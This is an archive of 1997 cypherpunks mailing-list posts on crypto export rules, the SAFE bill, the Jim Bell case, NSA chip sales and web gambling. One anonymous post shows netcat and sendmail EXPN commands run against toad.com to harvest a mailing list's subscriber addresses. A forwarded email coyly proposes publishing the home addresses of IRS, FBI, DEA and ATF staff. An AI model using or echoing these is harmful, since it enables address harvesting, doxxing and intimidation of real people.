Tom.Helenius at DataFellows.com, World-Wide Web http://www.DataFellows.com





From sunder at brainlink.com  Tue Jul 29 11:33:48 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 30 Jul 1997 02:33:48 +0800
Subject: New Crypto Application
In-Reply-To: 
Message-ID: 



On Tue, 29 Jul 1997, Tim May wrote:

> What's a "FAQ"?
> 
> I think I'll just go ahead and challenge people to break my
> SuperWhammomatic, CryptoPadalyzer. (I spent more time coming up with the
> name than I did working on the algorithm, so I hope you all like it.)
> 
> 
> 
> --Tim "the Newbie"

Aw shux Tim, ROT13's been broken since the days of Caesar, and there's
enough implementations of it already... :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder at sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================






From sunder at brainlink.com  Tue Jul 29 11:38:47 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 30 Jul 1997 02:38:47 +0800
Subject: y2k problem *serious*
In-Reply-To: <199707290640.IAA04623@basement.replay.com>
Message-ID: 



On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
> actively working toward sabotaging government and corporate efforts
> to resolve the Year 2000 problems. They began coordinating their
> efforts in 1990, almost a decade before the powers-that-be will
> finally get around to recognizing the need to definitively move
> on the matter in a major way.

Ah, so "Toto" is still with us (if only shadowed by the cloak work by the 
lurker...)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder at sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================






From tcmay at got.net  Tue Jul 29 11:46:45 1997
From: tcmay at got.net (Tim May)
Date: Wed, 30 Jul 1997 02:46:45 +0800
Subject: Crypto Hooks
In-Reply-To: <3.0.2.32.19970728081025.00772920@popd.ix.netcom.com>
Message-ID: 



At 1:23 AM -0700 7/29/97, Craig Strickland wrote:

>This triggered a thought that may have already been discussed, but I thought
>I'd throw it out anyway.  Since the export of cryptography = munitions, what
>happens if I write an application that's the "shell", and contract with a
>national and resident of a foreign country to write the crypto module.  I do
>not export the crypto technology other than sending them a printed book
>(which Phil Karn's filing determined was exportable as a non-munition).
>
>I then retail the software as a 2-component system (distantly like PGP 2.6.3i
>could have been) on the web.  FTP the "shell" from my domestic site, and FTP
>the "crypto" from the foreign site.  Both install to make the seamless
>finished product.
>
>Anyone seen anything in ITAR addressing such a hiring arrangement?


This is called "providing crypto hooks," at least in the many threads on
this list and on Usenet where the details of this have been discussed.

It is generally interpreted--but there has not yet been a good court case
to test it, that I know of--that providing a "hook" or place to drop in
crypto is a violation of the ITARs/replacements for the ITARs.

Ditto for exporting expertise designed to circumvent the ITARs. Thus,
RSADSI cannot tell Rivest and the others to go take a 6-month in Monte
Carlo or Switzerland and develop the next generation there.

Again, this interpretation has not gotten a clear test in the courts.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From editor at cdt.org  Tue Jul 29 11:59:55 1997
From: editor at cdt.org (Jonah Seiger)
Date: Wed, 30 Jul 1997 02:59:55 +0800
Subject: ALERT: Show Your Support for Privacy on the Net During August
Message-ID: 




==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| | Visit Your Member of Congress during the
| |_| | |   |  _| | |_) || | | | Month of August - Help Support Privacy
|  _  | |___| |___|  _ < | | |_| and Security on the Net!!
|_| |_|_____|_____|_| \_\|_| (_)        Posted July 29, 1997

           Please forward where appropriate until September 2, 1997

                        This alert brought to you by
The Voters Telecommunications Watch, the Center for Democracy and Technology,
 the Electronic Frontier Foundation, EFF-Austin Americans for Tax Reform,
                            and Wired Magazine
_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do To Help Privacy And Security On The Internet
            - Meet Your Member of Congress, Tell Them How You Feel
      Background On The Encryption Policy Issue and HR 695, the SAFE bill
      What's At Stake in this debate
      About This Alert

_____________________________________________________________________________
LET YOUR VOICE BE HEARD...

The government is demanding that you provide guaranteed law enforcement
access to your private online communications and business transactions.

Your Congressman will be heading home for the month of August.  Now is a
great time to let him or her know that privacy on the Internet is important
to you.

Please read the ALERT below and find out what you can do to help.

________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

The FBI, CIA, NSA and other law enforcement agencies are pressuring
Congress to pass legislation to force anyone who wants to protect their
privacy on the Internet to use programs with built in "key recovery"
features -- virtual back doors which would allow law enforcement (and
anyone else sophisticated enough to find a weakness) access to your private
communications.

This effort by the Clinton Administration to force the domestic use of
government approved "key recovery" encryption represents a very real threat
to your privacy and security in the Information Age.

Fortunately, a bill known as the "Security and Freedom Through Encryption
Act" (HR 695) is making its way through the House of Representatives.  The
bill, known as SAFE, would help protect privacy and security on the
Internet by:

* Prohibiting the government from imposing key recovery or key escrow
  encryption inside the United States or abroad.
* Allowing Americans the ability to use whatever form of encryption they
  choose.
* Encouraging the widespread availability of strong, easy-to-use
  encryption technologies by relaxing cold war-era export restrictions.

SAFE enjoys support from a bi-partisan majority of 250 Members of the House
of Representatives, and has been endorsed by civil liberties and public
interest groups from both sides of the political spectrum, as well as a
broad cross section of the computer and communications industries.

The SAFE bill has recently cleared two key House committees and is expected
to be voted on by the full House of Representatives in September.

As your Representatives in Congress head home for the August recess, now is
a great time to let them know that the folks back home care about
protecting privacy on the Internet.

Please read the instructions below to find out what you can do to
participate in "Meet Your Member Month," and join the fight to protect your
right to privacy online.

________________________________________________________________________
WHAT YOU CAN DO NOW

Between August 1 and September 2, Congress will be in recess and your
Congressman will be in your area meeting with constituents at large town
hall meetings and individual appointments.  These meetings are a great
opportunity to show them that the folks back home care about
privacy on the Internet.

If you can't make a meeting, consider sending a letter or making a phone
call to your Congressman's home office.  Whatever you can do to show your
support for privacy and security on the Net will make a big difference when
the issue is voted on by the full house in September.

Instructions:

1. Visit http://www.crypto.com/member/

   Simply enter your Zip Code to:

   * Find the name and contact information for your Representative
   * Sign up to join the Adopt Your Legislator Campaign;
   * Learn about your Congressman's voting record and positions on
     the encryption issue;
   * Tips on how to set up a meeting and contacting your Congressman;
   * Links to background information on the SAFE bill, and more.

2. Forward this ALERT to your fiends and colleagues. Urge them to join
   Adopt Your Legislator campaign at http://www.crypto.com/adopt/

Two years ago, the Internet user community responded in overwhelming
numbers to the threat of censorship and joined together to defeat the
Communications Decency Act.  The ongoing debate over US encryption policy
reform is no less important, and will determine the future of privacy and
security in the Information Age.

Now is the time to join the fight, before its too late.
________________________________________________________________________
BACKGROUND ON THE ENCRYPTION POLICY ISSUE

Complete background information, including:

* A down-to-earth explanation of why this debate is important to
  Internet users
* Analysis and background on the issue
* An analysis of the Risks of Key-Recovery by leading cryptographers
* Text of the Administration draft legislation
* Text of Congressional bills to reform US encryption policy, includig SAFE
* Audio transcripts and written testimony from recent Congressional
  Hearings on encryption policy reform
* And more!

Are all available at http://www.crypto.com/
________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age,
enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration and members of the US Senate
have proposed DOMESTIC RESTRICTIONS on the ability of Americans to protect
their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

For more information on this issue and the various legislative and
administration proposals to reform US encryption policy, visit
http://www.crytpo.com/

________________________________________________________________________
ABOUT THIS ALERT

This message was brought to you by the following Internet advocacy groups
who have joined togther to educate Congress and the public about the
importance of encryption policy reform:

* the Center for Democracy and Technology -- http://www.cdt.org/
* the Voters Telecommunications Watch     -- http://www.vtw.org/
* the Electronic Fronter Foundation       -- http://www.eff.org/
* EFF-Austin                              -- http://www.eff-austin.org/
* Americans for Tax Reform                -- http://www.atr.org
* Wired Magazine		          -- http://www.wired.com/

For more information, visit http://www.crypto.com/about/
_____________________________________________________________________________
end alert 07.29.97
------------------------------------------------------------------------------

------------------------------------------------------------------------------
HOW TO REMOVE YOURSELF FROM CDT'S POLICY POST LIST:

To unsubscribe to CDT's Policy Post list, send mail to

     policy-posts-request at cdt.org

with a subject:

     unsubscribe policy-posts
----------------------------------------------------------------------------







From enoch at zipcon.net  Tue Jul 29 12:28:31 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Wed, 30 Jul 1997 03:28:31 +0800
Subject: Declan Does Boylove
In-Reply-To: 
Message-ID: <19970729191728.25870.qmail@zipcon.net>



Declan writes:

[snip]

Very nice article. 

>    "They shouldn't be doing these things with the children's pictures,"
>     Cox says.

Cough.  One wonders why these nuts spend so much of their time worrying
about what they imagine others to be aroused by, and why they embrace the
doctrine of "vicarious long-distance molestation" whenever they think an
otherwise ordinary photograph has been the victim of some random
stranger's impure thoughts. 

Such nonsense is central to the doctrine of radical feminists like Andrea
Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
why such individuals aren't laughed out of the auditorium immediately. 

Anyone want to wager whether http://netlynews.com/ is the newest addition
to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :) 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}








From whgiii at amaranth.com  Tue Jul 29 12:57:24 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 30 Jul 1997 03:57:24 +0800
Subject: Crypto Hooks
In-Reply-To: 
Message-ID: <199707291951.OAA24786@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/29/97 
   at 11:43 AM, Tim May  said:

>This is called "providing crypto hooks," at least in the many threads on
>this list and on Usenet where the details of this have been discussed.

>It is generally interpreted--but there has not yet been a good court case
>to test it, that I know of--that providing a "hook" or place to drop in
>crypto is a violation of the ITARs/replacements for the ITARs.

>Ditto for exporting expertise designed to circumvent the ITARs. Thus,
>RSADSI cannot tell Rivest and the others to go take a 6-month in Monte
>Carlo or Switzerland and develop the next generation there.

>Again, this interpretation has not gotten a clear test in the courts.

Well I export software on a daily basis that "provides crypto hooks". I
also provide advice and consultations to those overseas on crypto &
security related issues. Matter of fact I have someone right now working
on a Russian translation for my software (I wonder if they are still on
the verbotten list along with Cuba & Iran) an a Chinese translation has
already been completed.

I also have a clause in software license that allows anyone to use my
software for free if they live in a totalitarian country where crypto is
baned (like France perhaps USA soon).

The government can only take away our rights if we let them do it. I for
one will not be a party to Washington's criminal conspiracy to subvert the
Constitution of the United States of America.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM948OY9Co1n+aLhhAQENqQQAxgOmIcarFtzA7o/wuE+jixHexC3w5JM2
dOFVnz7qjwUCDyFwGV/NfjWNT6IT+rxby/ZGOUX6WkRax9Z2azYaD77cCih4AYys
rAZ92xDw0MafDoD7UVstURJ0xJZRToiGgxdn04i2PCnzlp1YNWm50mAUm9wrMgN8
bMHD7dTNKvU=
=6vSe
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Tue Jul 29 13:15:01 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 04:15:01 +0800
Subject: y2k problem *serious*
Message-ID: <199707291944.VAA14920@basement.replay.com>



Ray Arachelian wrote:
 
> Ah, so "Toto" is still with us (if only shadowed by the cloak work of the
> lurker...)

Ray,
Prying open my 3rd eye. So good to see you once again. I thought you
were hiding. And you thought that I had run away. Chasing the tail of
dogma. I opened my eye and there we were....                     

"Woof" 
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn






From alan at ctrl-alt-del.com  Tue Jul 29 13:17:48 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Wed, 30 Jul 1997 04:17:48 +0800
Subject: Declan Does Boylove
In-Reply-To: <19970729191728.25870.qmail@zipcon.net>
Message-ID: 



On Tue, 29 Jul 1997, Mike Duvos wrote:

> Declan writes:
> 
> [snip]
> 
> Very nice article. 
> 
> >    "They shouldn't be doing these things with the children's pictures,"
> >     Cox says.
> 
> Cough.  One wonders why these nuts spend so much of their time worrying
> about what they imagine others to be aroused by, and why they embrace the
> doctrine of "vicarious long-distance molestation" whenever they think an
> otherwise ordinary photograph has been the victim of some random
> stranger's impure thoughts. 

Don't you know that taking someones picture captures a part of their soul
and that if you concentrate hard enough you can actually cause them harm?

It is because these people are superstitious.  They believe in magic.
They believe that thoughts and actions are equivelent and should be
punished as such.  They also get a vicarious thril out of being able to
"stop Evil" and "punish the Wrong-Doers".  (It is the same set of thrills
that make people become congress-critters.)  It is a way of making
themselves feel worthwhile and an upholder of virtue.  When you examine
the actions and motives of "moralists" and other sorts of do-gooders, you
find that in most cases, they are pretty disfunctional beings in real
life.

> Such nonsense is central to the doctrine of radical feminists like Andrea
> Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
> why such individuals aren't laughed out of the auditorium immediately. 

Because sometimes people want to think of themselves as being a victim.
Andrea and the rest of the Dwarks are feeding them a line that they want
to believe.  It is so much easier to deal with your problems when you are
told that they are caused by someone else.  That it is the "patriarchal
society" that is keeping them down.  That those "nasty men" are the cause
of their problems.  (What is really distressing about the Dwarkin variety
of feminist is that they reduce the options for women.  They replace a
percieved patriarchy with a matriarchy that is even more controlling and
strict.)

Most of the audiences at a Dwarkin speach are "true believers" already.
What bothers me more is when the media actually takes these people
seriously and not as the sexually screwed up people they are.  

If you want to see how far gone these people are, I suggest going to a
Dwarkin speech.  The women are pretty frightening, but the men who show up
are even more far gone.  (It works better if you are picketing the speech.
You get all the loons!  (I have some interesting stories about the two
held in Portland.))

> Anyone want to wager whether http://netlynews.com/ is the newest addition
> to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :) 

The "Sewer Site" sounds like something to add to all of those "where
to find good porn sites" links pages.  I wonder how many people go there
looking for good porn?

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From h_tuttle at rigel.cyberpass.net  Tue Jul 29 13:32:30 1997
From: h_tuttle at rigel.cyberpass.net (Harry Tuttle Remailer)
Date: Wed, 30 Jul 1997 04:32:30 +0800
Subject: No Subject
Message-ID: <199707292014.NAA22371@rigel.cyberpass.net>



someone wrote:
>>A. It's unsolicited spam.
Not a big deal.
>>B. The way they gathered the list of addresses is questionable, 
>>    and likely off Jim's HD.  

Its pretty straightforward for interested perties to get a list of everyone
on a mojordomo mailinglist even if the who command is disabled as long as
we have our old friend sendmail and his trusty sidekick expn.

nc toad.com 25

220 toad.com ESMTP Sendmail 8.7.5/8.7.3;
 Tue, 29 Jul 1997 12:59:12 -0700 (PDT)
expn cypherpunks
250-<"|/u/majordom/bin/wrapper resend -p bulk  -l cypherpunks -f
owner-cypherpunks-unedited -h toad.com -s 
cypherpunks-unedited-outgoing"@toad.com>
250 
expn cypherpunks-unedited-outgoing
250-
250-
250-
250-
250-
250-
250-
250-
250-

------ more addresses cut ----------

I have xed out the names but you get the picture. no need to go through the
effort of watching a list for posts or searching through someone's old mail.

If you have any complaints email:

expn owner-cypherpunks-unedited
250 Cypherpunks Admin     







From eff at dev.null  Tue Jul 29 13:47:00 1997
From: eff at dev.null (EFF)
Date: Wed, 30 Jul 1997 04:47:00 +0800
Subject: Libertarians for whom Jim Bell tolls...
Message-ID: <199707292018.OAA12857@wombat.sk.sympatico.ca>



-------Fwd: Private Email (Identities XY'ed)-------
Subject: Re: Libertarians for whom Jim Bell tolls...
   Date: Tue, 29 Jul 1997 11:32:11 -0800
   From: XXXXXXXX 
     To: YYYYYYYY

>>   "In the plea agreement, BELL also admitted that on March 16, 1997, he
>> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
>> Washington, using the noxious chemical mercaptan. ...

>  This is interesting, since they had no evidence that he did so.
>However, they managed to get him to "confess" by illegally holding
>without bond for crimes which they never intended to charge him with
>in the first place.
>  I hope that Jim's lawyer is suitably rewarded for his part in selling
>Jim down the river.

Nancy Lord has had a lot of success in cases like this, and was
interested
in helping Bell's public defender file briefs challenging a lot of the
IRS'
charges and behavior, on First Amendment grounds. She tells me the
public
defender never even returned her calls.

>>   "IRS Inspectors indicated that the mercaptan attack may have been linked
>> to the Feb. 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

>  In effect, they are saying that since they didn't have any evidence
>against Jim for the crime that they wanted him to "pay" for, that they
>used the threat of major criminal charges to convince him to "confess"
>to the crime, and held him without bail to let him know that the Justice
>system is under the control of the IRS, and not the defendant.

More or less. The big fuss, and the reason for holding without bail, was
supposedly that his web postings constituted evidence he was planning to
assassinate IRS agents. Yet, curiously,  he was never charged with
anything
like "conspiracy to solicit murder." Instead, people go to jail for
years
for the equivalent of pouring skunk urine on someone's welcome mat, and
for
"using false SS numbers."

Funny, I thought the folks who gave us SS numbers swore they'd always be
confidential between us and our SS retirement fund manager, and would
"never be used as a national ID number." Since I'm sure the SocSec
Administration would never confirm or deny for the IRS Mr. Bell's REAL
SS
number, I wonder who they knew which ones were bogus?

Are we to believe SocSec has never made a mistake, and issued one person
two numbers?

Anyway, was Mr. Bell accused of using the bogus numbers to fraudulently
extort wrongful benefits from the SocSec Administration? Apparently not.
So. since money will be withheld from your paycheck no matter WHAT SS
number you file, the only possible "fraud" can have been to work
different
jobs under different numbers -- with no chance of ever collecting any
"benefits" from the "bogus" accounts. An odd kind of "fraud," that pays
money to the government with no hope of ever getting any back.

>Vin,
>  Did you know that the IRS used the information gleaned from Jim Bell's
>hard drive to send the "chilling" details of Jim Bell's plea agreement
>to the individuals and mailing lists he corresponded with?
>  Did you know that when he arrested, there were no Assassination Bot's
>in existence, and that there are now at least six prototypes currently
>in operation?
>
>  God Bless AmeriKa.
>
>XXYYZZMonger

Hi --

It would probably be considered (by overzealous pro-government
extremists)
a violation of some bogus new enactment if I proposed that it would be a
good idea for someone to widely and publicly post the names and home
addresses of every employee of the IRS ... and possible the FBI, DEA,
and
ATF, to boot (after all, those people have no problem accessing the
intimate details of OUR personal lives, on a moment's notice. We all
live
in more or less constant fear of THEIR midnight knock on the door.) So I
won't suggest that.  I don't suggest that. I hope no one ever does that.
And if anyone ever does, I CERTAINLY hope such lists are not widely
downloaded and disseminated.

X.Y.






From sunder at brainlink.com  Tue Jul 29 14:04:07 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 30 Jul 1997 05:04:07 +0800
Subject: Declan Does Boylove
In-Reply-To: 
Message-ID: 



On Tue, 29 Jul 1997, Alan wrote:

> Don't you know that taking someones picture captures a part of their soul
> and that if you concentrate hard enough you can actually cause them harm?

"Don't you know that taking a picture of my license plate will capture a
piece of my soul and cause me harm?  Ossifer, it's against my religion to
allow you to photograph, videotape, or otherwise record my likeness."

(Okay, was a nice try anyway...) :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder at sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================






From declan at well.com  Tue Jul 29 14:06:55 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 30 Jul 1997 05:06:55 +0800
Subject: Declan Does Boylove
In-Reply-To: 
Message-ID: 



Now *this* is a Subject: line I never expected to see flash across my screen...

Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
appear as well.

Banning images or text because they might lead to impure thoughts or even
criminal actions is odd. It makes individuals *less* responsible for what
they do, and refuses to admit the possibility of free will...

-Declan


At 12:17 -0700 7/29/97, Mike Duvos wrote:
>Declan writes:
>
>[snip]
>
>Very nice article.
>
>>    "They shouldn't be doing these things with the children's pictures,"
>>     Cox says.
>
>Cough.  One wonders why these nuts spend so much of their time worrying
>about what they imagine others to be aroused by, and why they embrace the
>doctrine of "vicarious long-distance molestation" whenever they think an
>otherwise ordinary photograph has been the victim of some random
>stranger's impure thoughts.
>
>Such nonsense is central to the doctrine of radical feminists like Andrea
>Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
>why such individuals aren't laughed out of the auditorium immediately.
>
>Anyone want to wager whether http://netlynews.com/ is the newest addition
>to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :)
>
>--
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     enoch at zipcon.com   $    via Finger                       $
>         {Free Cypherpunk Political Prisoner Jim Bell}



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From sunder at brainlink.com  Tue Jul 29 14:07:05 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 30 Jul 1997 05:07:05 +0800
Subject: Crypto Hooks
In-Reply-To: 
Message-ID: 



On Tue, 29 Jul 1997, Tim May wrote:

> This is called "providing crypto hooks," at least in the many threads on
> this list and on Usenet where the details of this have been discussed.

I wonder what will happen with future operating systems that use the
everything is an object approact - where one can simply call ANY method in
an object...  (Sort of like OpenDOC, if it didn't die...) of course some
methods will be marked as private, but supposing that someone forgot to
mark a method as private... say somewhere in the core of the OS, right
before the TCP stack.  

And suppose you could patch that code with code that uh, compresses, yeah,
that's the ticket, uh, compresses it with a very slow and shitty
compression algorithm that need, uh, a compression dictionary (key) to
decompress, yeah, that's the ticket. :) 

And suppose everyone wrote their apps and operating systems to be
patchable in this way....

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder at sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================







From root at nwdtc.com  Tue Jul 29 14:14:17 1997
From: root at nwdtc.com (Alan Olsen)
Date: Wed, 30 Jul 1997 05:14:17 +0800
Subject: National Security Agency markets commercial ASICs
Message-ID: <33DE5CF2.2424@nwdtc.com>



http://techweb.cmp.com/eet/news/97/965news/national.html

National Security Agency markets commercial ASICs
By Loring Wirbel

SNOWMASS, Colo. -- On a scale unprecedented for a government
intelligence arm, the National Security Agency (NSA) is expanding its
selling of
ASICs and design services, even offering commercial semiconductor
designs for selected space-based and terrestrial applications. 

Terry Brown, NSA deputy chief of microelectronics, said the customer
list will still be so specialized that the agency won't compete directly
against
developers of military ASICs and rad-hard devices. "Any customer of ours
would still require a government sponsor at some level," he said. 

Nevertheless, at an IEEE conference held recently, representatives of
Harris Semiconductor and UTMC Microelectronic Systems wondered how and
why a secret government agency would compete against them. 

One representative of a commercial IC house, who asked not to be
identified, said, "Whenever the government thinks it can sell products
to OEMs, it
inherently raises some problems." 

The commercial efforts involve NSA's 6-inch CMOS fab, run by National
Semiconductor Corp., at NSA headquarters in Fort Meade, Md., and a
Microelectronics Research Lab run by NSA at an undisclosed Maryland
location. The agency has developed special ASICs for selected customers
ever since National helped open the fab in the late 1980s. Some, such as
the Mykotronx division of Rainbow Technologies Inc., were partners in
crypto chips, while others sought NSA expertise in radiation-hardness
for space applications. 

Looking to expand that customer base, the agency has named Leland Miller
its first director of marketing for microelectronics. At the IEEE
Nuclear
and Space Radiation Effects Conference, NSA had a large trade booth
advertising the capabilities of "NSA Microelectronics." 

Brown said NSA has special talent in data-path design, used in signal
and image processing but ignored by many ASIC vendors. 

NSA's fab has a library of more than 100 standard cells, optimized for
CMOS feature sizes from 0.5 to 1.2 microns. The fab handles double- and
triple-metal designs and is just beginning to add non-volatile EPROM and
E2PROM cell capabilities.






From ketcher at ix.netcom.com  Tue Jul 29 14:24:00 1997
From: ketcher at ix.netcom.com (Michael Ketcher )
Date: Wed, 30 Jul 1997 05:24:00 +0800
Subject: subscribing to cypherpunks
Message-ID: <199707292115.QAA23668@dfw-ix8.ix.netcom.com>



Lance Cottrell:

    Sandy Sandfort suggested I write to you about subscribing to 
cypherpunks.  How can one do it?  Thank you.

Mike Ketcher






From nobody at REPLAY.COM  Tue Jul 29 15:08:18 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 06:08:18 +0800
Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
Message-ID: <199707292148.XAA29748@basement.replay.com>



> From: Declan McCullagh 
> To: fight-censorship at vorlon.mit.edu
> Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
> -----
> http://pathfinder.com/netly/opinion/0,1042,1222,00.html

>         It started in May, after Cox launched an assault on "boy-lover"
>    web sites in an attempt to force them offline. But she and her allies
>    ran into a serious obstacle: the sites aren't illegal. They're filled
>    not with child pornography -- which is banned by federal law -- but,
>    instead, photos of boys in swimsuits. "They shouldn't be doing these
>    things with the children's pictures," Cox says.

  ROTFLMAO!
  I checked out the "Sewer" site and followed the links. It seems that
the threat of "boylover" porno on the Internet is so slight that dear
Ms. Suques-Cox's list of "evil" sites is mostly links to the sites of
child actors and actors-guild types of sites which are for the purpose
of highlighting their careers, promote fan clubs, etc.
  In addition, she demands that these sights post (or email her) some
type of "disclaimer" in order to be removed from her sewer list, despite
the fact that the "dirt" seems to be entirely in her twisted little
mind.

  No doubt Ms. Suques-Cox is raking in the dough in her efforts to
"fight the good fight" against the demons in her mind, by projecting
them into an outside threat to her world-view.
  I was thinking that perhaps I might be able to ride this fascist trend
to the Big Buck$ by attacking web sites which contain perverted pictures
of such things as cantalopes, cucumbers, valleys, caves,
obleisks--pretty
much anything that is longer than it is wide, or deeper than it is flat.

TruthMonger






From frogfarm at yakko.cs.wmich.edu  Tue Jul 29 16:01:03 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Wed, 30 Jul 1997 07:01:03 +0800
Subject: 7-29_b8_EXTRA_Internet.html
Message-ID: <199707292306.TAA24682@yakko.cs.wmich.edu>




  Tuesday
  
   July 29, 1997
   
   [1]ImageMap
   
   LA Fitness
   
                        Web gaming is 'ripe for fraud'
     _________________________________________________________________
   
   By Patrick Wilson
   Washington Bureau
     _________________________________________________________________
   
   WASHINGTON - Two senators toured Internet gambling sites Monday as
   they listened to warnings the growing online casino industry could be
   ripe for corruption and consumer fraud.
   
   Sens. Jon Kyl, R-Ariz., and Richard Bryan, D-Nev., looked on as
   Wisconsin Attorney General Jim Doyle presented what he characterized
   as questionable Web gambling sites.
   
   Doyle appeared before a Senate technology subcommittee studying a bill
   by Kyl to ban gaming on the World Wide Web.
   
   Doyle said Web gaming has grown from a "sleeping giant" to a developed
   industry that must be stopped. To demonstrate how easy it is to gamble
   online, he played a videotaped sample of online casinos such as the
   "Golden Palace," where Web surfers can use credit cards to play craps,
   keno, slots and blackjack, among other games.
   
   Doyle noted the Internet gambling industry even has its own online
   newsletter, "Rolling Good Times," which now is conducting an online
   poll where people can bet - for fun - on whether Congress will pass
   Kyl's bill.
   
   "Who knows what's on the other end of this screen?" Doyle said. "Who
   knows if those cards are fair? Who knows whether organized criminal
   activity is involved?"
   
   Bryan said he has "no confidence whatsoever that gaming on the
   Internet can be regulated now or at any time in the future."
   
